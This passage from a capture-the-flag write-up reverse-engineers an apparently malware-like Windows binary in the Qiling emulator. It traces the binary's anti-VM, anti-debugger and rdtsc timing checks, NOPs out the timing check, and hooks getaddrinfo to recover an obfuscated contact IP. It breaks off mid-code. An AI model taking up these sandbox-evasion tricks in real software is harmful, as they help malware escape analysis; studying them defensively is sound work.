[*] 0x00406ad5: inc ecx
[*] 0x00406ad6: cmp eax, ecx
[*] 0x00406ad8: je 0x406c0d
[*] 0x00406ade: test eax, eax
[*] 0x00406ae0: jne 0x406b2b
[*] 0x00406ae2: mov dword ptr [0x40a3ac], ecx
[*] 0x00406ae8: push 0x408124
[*] 0x00406aed: push 0x408118
[*] 0x00406af2: call 0x4075e3
[*] 0x004075e3: jmp dword ptr [0x4080cc]
[=] _initterm_e(pfbegin = 0x408118, pfend = 0x408124) = 0x0
[*] 0x1035fe2f: jne 0x1035fe94
[*] 0x00406af7: pop ecx
[*] 0x00406af8: pop ecx
[*] 0x00406af9: test eax, eax
[*] 0x00406afb: je 0x406b0e
[*] 0x00406b0e: push 0x408114
[*] 0x00406b13: push 0x408108
[*] 0x00406b18: call 0x4075dd
[*] 0x004075dd: jmp dword ptr [0x4080d0]
[=] _initterm(pfbegin = 0x408108, pfend = 0x408114)
[*] 0x1035fe10: jne 0x1035fe75
[*] 0x00406b1d: pop ecx
[*] 0x00406b1e: pop ecx
[*] 0x00406b1f: mov dword ptr [0x40a3ac], 2
[*] 0x00406b29: jmp 0x406b30
[*] 0x00406b30: push dword ptr [ebp - 0x24]
[*] 0x00406b33: call 0x406f52
[*] 0x00406f52: push ebp
[*] 0x00406f53: mov ebp, esp
[*] 0x00406f55: call 0x407577
[*] 0x00407577: xor eax, eax
[*] 0x00407579: cmp dword ptr [0x40a014], eax
[*] 0x0040757f: setne al
[*] 0x00407582: ret
[*] 0x00406f5a: test eax, eax
[*] 0x00406f5c: je 0x406f6d
[*] 0x00406f5e: cmp byte ptr [ebp + 8], 0
[*] 0x00406f62: jne 0x406f6d
[*] 0x00406f64: xor eax, eax
[*] 0x00406f66: mov ecx, 0x40a3b0
[*] 0x00406f6b: xchg dword ptr [ecx], eax
[*] 0x00406f6d: pop ebp
[*] 0x00406f6e: ret
[*] 0x00406b38: pop ecx
[*] 0x00406b39: call 0x4070e6
[*] 0x004070e6: mov eax, 0x40a400
[*] 0x004070eb: ret
[*] 0x00406b3e: mov esi, eax
[*] 0x00406b40: xor edi, edi
[*] 0x00406b42: cmp dword ptr [esi], edi
[*] 0x00406b44: je 0x406b61
[*] 0x00406b61: call 0x4070ec
[*] 0x004070ec: mov eax, 0x40a3fc
[*] 0x004070f1: ret
[*] 0x00406b66: mov esi, eax
[*] 0x00406b68: cmp dword ptr [esi], edi
[*] 0x00406b6a: je 0x406b7f
[*] 0x00406b7f: call 0x4075d7
[*] 0x004075d7: jmp dword ptr [0x4080d4]
[=] _get_initial_narrow_environment() = 0x0
[*] 0x1035faec: jne 0x1035fb51
[*] 0x00406b84: mov edi, eax
[*] 0x00406b86: call 0x4075fb
[*] 0x004075fb: jmp dword ptr [0x4080c4]
[=] __p___argv() = 0x5000c00
[*] 0x1035f630: jne 0x1035f695
[*] 0x00406b8b: mov esi, dword ptr [eax]
[*] 0x00406b8d: call 0x4075f5
[*] 0x004075f5: jmp dword ptr [0x4080c8]
[=] __p___argc() = 0x5000c19
[*] 0x1035f611: jne 0x1035f676
[*] 0x00406b92: push edi
[*] 0x00406b93: push esi
[*] 0x00406b94: push dword ptr [eax]
[*] 0x00406b96: call 0x402100
[*] 0x00402100: push ebp
[*] 0x00402101: mov ebp, esp
[*] 0x00402103: push -1
[*] 0x00402105: push 0x4076ed
[*] 0x0040210a: mov eax, dword ptr fs:[0]
[*] 0x00402110: push eax
[*] 0x00402111: sub esp, 0x1c
[*] 0x00402114: mov eax, dword ptr [0x40a004]
[*] 0x00402119: xor eax, ebp
[*] 0x0040211b: mov dword ptr [ebp - 0x10], eax
[*] 0x0040211e: push esi
[*] 0x0040211f: push edi
[*] 0x00402120: push eax
[*] 0x00402121: lea eax, [ebp - 0xc]
[*] 0x00402124: mov dword ptr fs:[0], eax
[*] 0x0040212a: call 0x403a90
[*] 0x00403a90: push ebp
[*] 0x00403a91: mov ebp, esp
[*] 0x00403a93: sub esp, 0xc
[*] 0x00403a96: push ebx
[*] 0x00403a97: call 0x403a20
[*] 0x00403a20: push ebp
[*] 0x00403a21: mov ebp, esp
[*] 0x00403a23: sub esp, 0x10
[*] 0x00403a26: push ebx
[*] 0x00403a27: mov byte ptr [ebp - 1], 0
[*] 0x00403a2b: xor eax, eax
[*] 0x00403a2d: cpuid
[*] 0x00403a2f: mov dword ptr [ebp - 0x10], ebx
[*] 0x00403a32: mov dword ptr [ebp - 8], edx
[*] 0x00403a35: mov dword ptr [ebp - 0xc], ecx
[*] 0x00403a38: mov eax, dword ptr [ebp - 0x10]
[*] 0x00403a3b: pop ebx
[*] 0x00403a3c: cmp eax, 0x7263694d
[*] 0x00403a41: jne 0x403a5b
[*] 0x00403a5b: cmp eax, 0x61774d56
[*] 0x00403a60: jne 0x403a82
[*] 0x00403a82: mov al, byte ptr [ebp - 1]
[*] 0x00403a85: mov esp, ebp
[*] 0x00403a87: pop ebp
[*] 0x00403a88: ret
[*] 0x00403a9c: test al, al
[*] 0x00403a9e: jne 0x403adf
[*] 0x00403aa0: sidt [ebp - 0xc]
[*] 0x00403aa4: mov eax, dword ptr [ebp - 0xa]
[*] 0x00403aa7: and eax, 0xff000000
[*] 0x00403aac: cmp eax, 0xd0000000
[*] 0x00403ab1: jae 0x403adf
[*] 0x00403ab3: mov dword ptr [ebp - 4], 0
[*] 0x00403aba: push eax
[*] 0x00403abb: push ebx
[*] 0x00403abc: push ecx
[*] 0x00403abd: push edx
[*] 0x00403abe: mov eax, 0x564d5868
[*] 0x00403ac3: mov ecx, 0x14
[*] 0x00403ac8: mov dx, 0x5658
[*] 0x00403acc: in eax, dx
[*] 0x00403acd: mov dword ptr [ebp - 4], eax
[*] 0x00403ad0: pop edx
[*] 0x00403ad1: pop ecx
[*] 0x00403ad2: pop ebx
[*] 0x00403ad3: pop eax
[*] 0x00403ad4: cmp dword ptr [ebp - 4], 0
[*] 0x00403ad8: ja 0x403adf
[*] 0x00403ada: pop ebx
[*] 0x00403adb: mov esp, ebp
[*] 0x00403add: pop ebp
[*] 0x00403ade: ret
[*] 0x0040212f: mov byte ptr [ebp - 0x1d], 0
[*] 0x00402133: xor eax, eax
[*] 0x00402135: mov eax, dword ptr fs:[0x30]
[*] 0x0040213b: mov al, byte ptr [eax + 0x68]
[*] 0x0040213e: and al, 0x70
[*] 0x00402140: cmp al, 0x70
[*] 0x00402142: jne 0x402148
[*] 0x00402148: nop
[*] 0x00402149: cmp byte ptr [ebp - 0x1d], 0
[*] 0x0040214d: je 0x402157
[*] 0x00402157: rdtsc
[*] 0x00402159: mov esi, eax
[*] 0x0040215b: mov edi, edx
[*] 0x0040215d: mov ecx, eax
[*] 0x0040215f: mov eax, ecx
[*] 0x00402161: inc eax
[*] 0x00402162: dec eax
[*] 0x00402163: nop
[*] 0x00402164: rdtsc
[*] 0x00402166: sub eax, esi
[*] 0x00402168: sbb edx, edi
[*] 0x0040216a: test edx, edx
[*] 0x0040216c: ja 0x40214f
[*] 0x0040216e: jb 0x402177
[*] 0x00402170: cmp eax, 0x100
[*] 0x00402175: ja 0x40214f
[*] 0x0040214f: push 0
[*] 0x00402151: call dword ptr [0x4080b4]
[=] exit(status = 0x0)
[*] 0x10360330: jne 0x10360395
As we can see from the last ~20 or so instructions before the call to exit
, the program is measuring elapsed execution time using the rdtsc
instruction, determining that the execution took too long, and exiting.
We can patch out the instructions from 0x412157
to 0x40216c
in the executable with nop
s, then run the script again. Finally, we now see some dynamic library loads and function imports!
Beginning to resolve dynamic lib loads and function imports
[...]
[*] 0x00402157: nop
[*] 0x00402158: nop
[*] 0x00402159: nop
[*] 0x0040215a: nop
[*] 0x0040215b: nop
[*] 0x0040215c: nop
[*] 0x0040215d: nop
[*] 0x0040215e: nop
[*] 0x0040215f: nop
[*] 0x00402160: nop
[*] 0x00402161: nop
[*] 0x00402162: nop
[*] 0x00402163: nop
[*] 0x00402164: nop
[*] 0x00402165: nop
[*] 0x00402166: nop
[*] 0x00402167: nop
[*] 0x00402168: nop
[*] 0x00402169: nop
[*] 0x0040216a: nop
[*] 0x0040216b: nop
[*] 0x0040216c: nop
[*] 0x0040216d: loope 0x4021e1
[*] 0x004021e1: in al, 0
[*] 0x004021e3: add byte ptr [eax], al
[*] 0x004021e5: add bh, al
[*] 0x004021e7: inc ebp
[*] 0x004021e8: call 0x4021ed
[*] 0x004021ed: mov dword ptr [ebp - 0x14], 0
[*] 0x004021f4: lea ecx, [ebp - 0x1c]
[*] 0x004021f7: mov dword ptr [ebp - 4], 0
[*] 0x004021fe: call 0x4011d0
[*] 0x004011d0: push ebx
[*] 0x004011d1: mov ebx, esp
[*] 0x004011d3: sub esp, 8
[*] 0x004011d6: and esp, 0xfffffff0
[*] 0x004011d9: add esp, 4
[*] 0x004011dc: push ebp
[*] 0x004011dd: mov ebp, dword ptr [ebx + 4]
[*] 0x004011e0: mov dword ptr [esp + 4], ebp
[*] 0x004011e4: mov ebp, esp
[*] 0x004011e6: sub esp, 0x688
[*] 0x004011ec: mov eax, dword ptr [0x40a004]
[*] 0x004011f1: xor eax, ebp
[*] 0x004011f3: mov dword ptr [ebp - 4], eax
[*] 0x004011f6: push esi
[*] 0x004011f7: push edi
[*] 0x004011f8: mov dword ptr [ebp - 0x654], ecx
[*] 0x004011fe: mov dword ptr [ebp - 0x640], 0xd1312f42
[*] 0x00401208: lea eax, [ebp - 0x650]
[*] 0x0040120e: mov dword ptr [ebp - 0x63c], 0xc60955e4
[*] 0x00401218: mov dword ptr [ebp - 0x638], 0xcd82bbaa
[*] 0x00401222: mov dword ptr [ebp - 0x634], 0x2bbfde5a
[*] 0x0040122c: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401236: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401240: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040124a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401254: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040125b: pxor xmm1, xmmword ptr [ebp - 0x640]
[*] 0x00401263: mov edi, dword ptr [0x408000]
[*] 0x00401269: mov dword ptr [ebp - 0x650], 0xdd420f42
[*] 0x00401273: mov dword ptr [ebp - 0x64c], 0xd65506a3
[*] 0x0040127d: mov dword ptr [ebp - 0x648], 0xcd82a7b3
[*] 0x00401287: mov dword ptr [ebp - 0x644], 0x2bbfde5a
[*] 0x00401291: movaps xmmword ptr [ebp - 0x640], xmm1
[*] 0x00401298: push eax
[*] 0x00401299: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x004012a3: lea eax, [ebp - 0x640]
[*] 0x004012a9: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x004012b3: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x004012bd: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x004012c7: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004012ce: pxor xmm1, xmmword ptr [ebp - 0x650]
[*] 0x004012d6: push eax
[*] 0x004012d7: movaps xmmword ptr [ebp - 0x650], xmm1
[*] 0x004012de: call edi
[=] Loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll to 0x10375000
[=] Done with loading ./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x004012e0: push eax
[*] 0x004012e1: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "WSAStartup") = 0x10383b10
[*] 0x10210ec0: dec esp
[*] 0x004012e7: lea ecx, [ebp - 0x5e0]
[*] 0x004012ed: push ecx
[*] 0x004012ee: push 0x202
[*] 0x004012f3: call eax
[=] WSAStartup(wVersionRequired = 0x202, LPWSADATA = 0xffffc980) = 0x0
[*] 0x10383b10: dec eax
[*] 0x004012f5: mov esi, eax
[*] 0x004012f7: mov dword ptr [ebp - 0x650], 0xcd420f42
[*] 0x00401301: mov dword ptr [ebp - 0x64c], 0xcc4602bb
[*] 0x0040130b: lea eax, [ebp - 0x650]
[*] 0x00401311: mov dword ptr [ebp - 0x648], 0xcd82a7b3
[*] 0x0040131b: mov dword ptr [ebp - 0x644], 0x2bbfde5a
[*] 0x00401325: push eax
[*] 0x00401326: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401330: lea eax, [ebp - 0x640]
[*] 0x00401336: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401340: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040134a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401354: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040135b: pxor xmm1, xmmword ptr [ebp - 0x650]
[*] 0x00401363: push eax
[*] 0x00401364: movaps xmmword ptr [ebp - 0x650], xmm1
[*] 0x0040136b: call edi
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x0040136d: push eax
[*] 0x0040136e: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "WSACleanup") = 0x10385410
[*] 0x10210ec0: dec esp
[*] 0x00401374: mov edi, eax
[*] 0x00401376: mov dword ptr [ebp - 0x628], edi
[*] 0x0040137c: test esi, esi
[*] 0x0040137e: jne 0x401a6d
[*] 0x00401384: xorps xmm0, xmm0
[*] 0x00401387: mov dword ptr [ebp - 0x620], 0xef773972
[*] 0x00401391: mov dword ptr [ebp - 0x61c], 0xcb5503b3
[*] 0x0040139b: lea eax, [ebp - 0x620]
[*] 0x004013a1: mov dword ptr [ebp - 0x618], 0xcdedb1a8
[*] 0x004013ab: mov dword ptr [ebp - 0x614], 0x2bbfde5a
[*] 0x004013b5: mov dword ptr [ebp - 0x5e4], esi
[*] 0x004013bb: mov dword ptr [ebp - 0x450], esi
[*] 0x004013c1: mov esi, dword ptr [0x408000]
[*] 0x004013c7: movlpd qword ptr [ebp - 0x440], xmm0
[*] 0x004013cf: movlpd qword ptr [ebp - 0x438], xmm0
[*] 0x004013d7: mov dword ptr [ebp - 0x44c], 2
[*] 0x004013e1: mov dword ptr [ebp - 0x448], 1
[*] 0x004013eb: mov dword ptr [ebp - 0x444], 6
[*] 0x004013f5: push eax
[*] 0x004013f6: mov dword ptr [ebp - 0x600], 0x8e035c15
[*] 0x00401400: lea eax, [ebp - 0x640]
[*] 0x00401406: mov dword ptr [ebp - 0x5fc], 0xa22767d7
[*] 0x00401410: mov dword ptr [ebp - 0x5f8], 0xcd82d7c6
[*] 0x0040141a: mov dword ptr [ebp - 0x5f4], 0x2bbfde5a
[*] 0x00401424: movaps xmm1, xmmword ptr [ebp - 0x600]
[*] 0x0040142b: pxor xmm1, xmmword ptr [ebp - 0x620]
[*] 0x00401433: push eax
[*] 0x00401434: movaps xmmword ptr [ebp - 0x620], xmm1
[*] 0x0040143b: call esi
[=] LoadLibraryA(lpLibFileName = "Ws2_32.dll") = 0x10375000
[*] 0x102164f0: dec eax
[*] 0x0040143d: push eax
[*] 0x0040143e: call dword ptr [0x408004]
[=] GetProcAddress(hModule = 0x10375000, lpProcName = "getaddrinfo") = 0x10378710
[*] 0x10210ec0: dec esp
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax
[!] getaddrinfo is not implemented
[*] 0x10378710: dec eax
[*] 0x10378711: mov eax, esp
[*] 0x10378713: dec eax
[*] 0x10378714: mov dword ptr [eax + 8], ebx
[*] 0x10378717: dec eax
[*] 0x10378718: mov dword ptr [eax + 0x10], ebp
[*] 0x1037871b: dec eax
[*] 0x1037871c: mov dword ptr [eax + 0x18], esi
[*] 0x1037871f: dec eax
[*] 0x10378720: mov dword ptr [eax + 0x20], edi
[*] 0x10378723: inc ecx
[*] 0x10378724: push esp
[*] 0x10378725: inc ecx
[*] 0x10378726: push esi
[*] 0x10378727: inc ecx
[*] 0x10378728: push edi
[*] 0x10378729: dec eax
[*] 0x1037872a: sub esp, 0x60
[*] 0x1037872d: dec eax
[*] 0x1037872e: mov eax, dword ptr [0x4e8cc]
[x]
[x] ah : 0xc8
[x] al : 0xb6
[x] ch : 0xc9
[x] cl : 0x63
[x] dh : 0x6e
[x] dl : 0x65
[x] bh : 0xcf
[x] bl : 0x74
[x] ax : 0xc8b6
[x] cx : 0xc963
[x] dx : 0x6e65
[x] bx : 0xcf74
[x] sp : 0xc850
[x] bp : 0xcf60
[x] si : 0x64f0
[x] di : 0x5410
[x] ip : 0x872e
[x] eax : 0xffffc8b6
[x] ecx : 0xffffc963
[x] edx : 0x69746e65
[x] ebx : 0xffffcf74
[x] esp : 0xffffc850
[x] ebp : 0xffffcf60
[x] esi : 0x102164f0
[x] edi : 0x10385410
[x] eip : 0x1037872e
[x] cr0 : 0x11
[x] cr1 : 0x0
[x] cr2 : 0x0
[x] cr3 : 0x0
[x] cr4 : 0x0
[x] cr5 : 0x0
[x] cr6 : 0x0
[x] cr7 : 0x0
[x] cr8 : 0x0
[x] cr9 : 0x0
[x] cr10 : 0x0
[x] cr11 : 0x0
[x] cr12 : 0x0
[x] cr13 : 0x0
[x] cr14 : 0x0
[x] cr15 : 0x0
[x] st0 : 0x0
[x] st1 : 0x0
[x] st2 : 0x0
[x] st3 : 0x0
[x] st4 : 0x0
[x] st5 : 0x0
[x] st6 : 0x0
[x] st7 : 0x0
[x] ef : 0x80
[x] cs : 0x1b
[x] ss : 0x28
[x] ds : 0x28
[x] es : 0x28
[x] fs : 0x73
[x] gs : 0x78
[x]
[x] PC = 0x1037872e
[x] (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll+0x372e)
[=] [+] Start End Perm. Path
[=] [+] 00006000 - 0000c000 - rwx [FS/GS]
[=] [+] 00030000 - 00031000 - rwx [GDT]
[=] [+] 00400000 - 0040d000 - rwx [PE] (.\\lnELKNdoie.exe)
[=] [+] 05000000 - 05001000 - rwx [heap]
[=] [+] 06000000 - 0c000000 - rwx [FS/GS]
[=] [+] 10000000 - 101f6000 - rwx ntdll.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ntdll.dll)
[=] [+] 101f6000 - 102b3000 - rwx kernel32.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\kernel32.dll)
[=] [+] 102b3000 - 10345000 - rwx msvcp140.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\msvcp140.dll)
[=] [+] 10345000 - 1035e000 - rwx vcruntime140.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\vcruntime140.dll)
[=] [+] 1035e000 - 10362000 - rwx api-ms-win-crt-runtime-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-runtime-l1-1-0.dll)
[=] [+] 10362000 - 10366000 - rwx api-ms-win-crt-string-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-string-l1-1-0.dll)
[=] [+] 10366000 - 10369000 - rwx api-ms-win-crt-heap-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-heap-l1-1-0.dll)
[=] [+] 10369000 - 1036e000 - rwx api-ms-win-crt-math-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-math-l1-1-0.dll)
[=] [+] 1036e000 - 10372000 - rwx api-ms-win-crt-stdio-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-stdio-l1-1-0.dll)
[=] [+] 10372000 - 10375000 - rwx api-ms-win-crt-locale-l1-1-0.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\api-ms-win-crt-locale-l1-1-0.dll)
[=] [+] 10375000 - 103e0000 - rwx ws2_32.dll (./qiling/examples/rootfs/x8664_windows\\Windows\\System32\\ws2_32.dll)
[=] [+] fffdd000 - ffffe000 - rwx [stack]
[x] ['0x8b', '0x5', '0xcc', '0xe8', '0x4', '0x0', '0x4c', '0x8b']
[=]
[=] 0x1037872e {ws2_32.dll + 0x00372e} 8b 05 cc e8 04 00 4c 8b e1 48 8d 0d d2 b7 00 00 33 ed 33 f6 49 8b f9 4d 8b f0 4c 8b fa 48 3b c1 0f 85 64 01 00 00 48 39 35 cd f0 04 00 0f 84 57 01 00 00 48 21 37 4d 85 f6 0f 84 67 01 00 00 41 mov eax, dword ptr [0x4e8cc]
> dec esp
> mov esp, ecx
> dec eax
> lea ecx, [0xb7d2]
> xor ebp, ebp
> xor esi, esi
> dec ecx
> mov edi, ecx
> dec ebp
> mov esi, eax
> dec esp
> mov edi, edx
> dec eax
> cmp eax, ecx
> jne 0x103788b8
> dec eax
> cmp dword ptr [0x4f0cd], esi
> je 0x103788b8
> dec eax
> and dword ptr [edi], esi
> dec ebp
> test esi, esi
> je 0x103788d4
> inc ecx
Traceback (most recent call last):
File "C:\\Users\\WDAGUtilityAccount\\Desktop\\ctf\\unionware.py", line 17, in <module>
ql.run()
File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\core.py", line 756, in run
self.os.run()
File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\os\\windows\\windows.py", line 149, in run
self.ql.emu_start(self.ql.loader.entry_point, self.exit_point, self.ql.timeout, self.ql.count)
File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\qiling\\core.py", line 897, in emu_start
self.uc.emu_start(begin, end, timeout, count)
File "C:\\Users\\WDAGUtilityAccount\\AppData\\Local\\Programs\\Python\\Python39\\lib\\site-packages\\unicorn\\unicorn.py", line 318, in emu_start
raise UcError(status)
unicorn.unicorn.UcError: Invalid memory read (UC_ERR_READ_UNMAPPED)
We can see the following happening in the output:
- A call to
LoadLibraryA(lpLibFileName = "Ws2_32.dll")
at0x0040143b
. This loads in Ws2_32.dll, which is the main 32-bit DLL for the Windows Sockets 2 (Winsock) library. This is a networking library for Windows; its interfaces and functions are generally similar to the Berkeley sockets API (i.e. the socket API present on most Unix-like systems today). - A call to
GetProcAddress(hModule = 0x10375000, lpProcName = "getaddrinfo")
at0x0040143e
, to importgetaddrinfo
. - Finally, the actual call to
getaddrinfo
at0x004014c5
.
It seems pretty clear at this point that this program is trying to do some networking. getaddrinfo
takes a string containing a hostname or IP address (and optionally does hostname resolution), and uses that to fill an
addrinfo
struct containing address information in binary form, which can then be passed to other socket functions to make TCP connections, etc. If we can figure out what arguments getaddrinfo
is being passed, we can figure out where this program is trying to talk to.
A few things to notice about the getaddrinfo
call:
- Qiling prints the message
getaddrinfo is not implemented
and then halts program execution after we make this call. This is because Qiling provides emulated or mock implementations of many syscalls and system libraries, but it doesn’t cover everything. In this case, Qiling does not provide an implementation for Winsock’sgetaddrinfo
. If we want to continue executing this program in Qiling past this point, we will need to provide our own mock implementation ofgetaddrinfo
! More on this later. - The first argument passed to
getaddrinfo
,pNodeName
, is the one that’s most interesting to us - it’s a pointer to the string containing the hostname or IP address that we’re asking the function to resolve. However, it seems to be obfuscated.- The default calling convention for Windows x86_32 is
__cdecl
, i.e. arguments are pushed onto the stack, with the last (i.e. rightmost) argument being pushed first and the first (i.e. leftmost) argument being pushed last. - We can see in the disassembly before the leftmost argument is pushed that we’re moving a bunch of data into a buffer (see
0x0040147c
to0x004014a4
below), then XORing that data (see0x004014b5
) with the buffer whose address (at[ebp - 0x600]
) we ultimately pass onto the stack as ourpNodeName
argument:
- The default calling convention for Windows x86_32 is
INT WSAAPI getaddrinfo( PCSTR pNodeName, PCSTR pServiceName, const ADDRINFOA *pHints, PADDRINFOA *ppResult );
[*] 0x00401444: lea ecx, [ebp - 0x5e4]
[*] 0x0040144a: mov dword ptr [ebp - 0x600], 0xbc2d6926
[*] 0x00401454: push ecx
[*] 0x00401455: lea ecx, [ebp - 0x450]
[*] 0x0040145b: mov dword ptr [ebp - 0x5fc], 0x930956e3
[*] 0x00401465: push ecx
[*] 0x00401466: push dword ptr [0x40a3f8]
[*] 0x0040146c: mov dword ptr [ebp - 0x5f8], 0xfbaceef3
[*] 0x00401476: lea ecx, [ebp - 0x600]
[*] 0x0040147c: mov dword ptr [ebp - 0x5f4], 0x2bbfde68
[*] 0x00401486: mov dword ptr [ebp - 0x420], 0x8e035c15
[*] 0x00401490: mov dword ptr [ebp - 0x41c], 0xa22767d7
[*] 0x0040149a: mov dword ptr [ebp - 0x418], 0xcd82d7c6
[*] 0x004014a4: mov dword ptr [ebp - 0x414], 0x2bbfde5a
[*] 0x004014ae: movaps xmm1, xmmword ptr [ebp - 0x420]
[*] 0x004014b5: pxor xmm1, xmmword ptr [ebp - 0x600]
[*] 0x004014bd: push ecx
[*] 0x004014be: movaps xmmword ptr [ebp - 0x600], xmm1
[*] 0x004014c5: call eax
[!] getaddrinfo is not implemented
We can either read the assembly, piece together what data is in the 2 XORed buffers, and calculate ourselves what the resulting value is, or we can actually get Qiling to do this work for us! Qiling allows us to
hook functions on enter and exit (see ql.set_api()
on that page), and provide a custom hook handler (in Python) which has access to input parameter and exit code values at the point where the function is hooked. It’s then very simple to just print those values in the handler:
"""
INT WSAAPI getaddrinfo(
PCSTR pNodeName,
PCSTR pServiceName,
const ADDRINFOA *pHints,
PADDRINFOA *ppResult
);
"""
@winsdkapi(cc=STDCALL, dllname="ws2_32_dll", replace_params={"pNodeName": POINTER, "pServiceName": POINTER, "pHints": POINTER, "ppResult": POINTER})
def hook_getaddrinfo(ql, address, params):
address = ql.os.read_cstring(params["pNodeName"])
info(f"getaddrinfo called with address {address}")
ql.set_api("getaddrinfo", hook_getaddrinfo, QL_INTERCEPT.CALL)
[*] 0x004014c5: call eax
[*] getaddrinfo called with address 35.241.159.62
[=] getaddrinfo(pNodeName = 0xffffc960, pServiceName = 0x0, pHints = 0xffffcb10, ppResult = 0xffffc97c)
OK! We have an IP address now. This is a Google Cloud (which is where the CTF infrastructure was hosted) customer address - nslookup
resolves this to 62.159.241.35.bc.googleusercontent.com
.
We still crash past this point though, since we haven’t provided an actual mock implementation here for getaddrinfo
- we need to implement the logic for filling out the ppResult
out-param with an actual addrinfo
struct, as well as fill out an actual return value. Our hook handler here essentially serves as the place to put the logic required for our mock implementation - it’s able to consume the values of all input parameters, and fill the values of all output parameters and the return code.
Qiling provided some mock implementations for some of the functions in Winsock2 / ws2_32.dll
already
here, in os/windows/dlls/wsock32.py
; this is also why program execution above was able to continue past the call to WSAStartup
(which was before we hit getaddrinfo
), as Qiling already provides a mock implementation for WSAStartup
. We can use the existing mocks as examples to write our mock implementation of getaddrinfo
.
Let’s add the logic for the getaddrinfo
mock implementation inside our hook handler, as well as a (very simple) hook for WSACleanup
.
A few notes on the implementation of our mock here:
- Qiling provides
functions for dealing with the (emulated) process memory. This includes reading and writing to or from some memory address (
ql.mem.read
,ql.mem.write
), reading and writing strings (ql.os.read_cstring
,ql.os.string
), and making heap allocations (ql.os.heap.alloc
). - To simplify the process of writing / reading Windows structs to/from the emulated process memory, Qiling provides a
WindowsStruct
which provides a lot of this functionality for us. If we want to read or write any Windows struct, we just have to implement a class in Python which inherits fromWindowsStruct
, define the size and order of each of its members, and implement awrite
andread
function in which we pass in our member definitions toWindowsStruct.generic_write
andWindowsStruct.generic_read
.- We do this in our updated Python script for the
addrinfo
andsockaddr
structs - see theAddrInfoA
andSockaddr
classes, below. - The documentation around how to do this wasn’t great; the best way I found to implement these Windows struct Python classes was to look at the Windows struct implementations that Qiling does provide in
qiling/os/windows/structs.py
.
- We do this in our updated Python script for the
- We don’t need to make the mock a perfect implementation of
getaddrinfo
- we just need to fill out the out-param and return code with something that’s correct enough for our program execution to continue for this particular case.- That is, we do need to make sure that the out-param
ppResult
, which is supposed to be a pointer to a pointer to anaddrinfo
struct, eventually points to some valid (emulated) memory location, so that when the program doesn’t crash when it tries to access that returned result later. - However, we don’t need to implement all the logic that actually takes any IP address we give as a string and packs it up properly in an
addrinfo
- since we know what IP address we’re trying to use here already, we can just hardcode that IP address in the result.
- That is, we do need to make sure that the out-param
Here’s the updated script, and its output:
from qiling import *
from qiling.const import *
from qiling.os.windows.const import *
from qiling.os.windows.fncc import *
from qiling.os.windows.structs import *
from qiling.os.windows.utils import *
from capstone import *
from pwn import *
"""
struct sockaddr {
ushort sa_family;
char sa_data[14];
};
"""
class Sockaddr(WindowsStruct):
def __init__(self, ql, family=None, data=None):
super().__init__(ql)
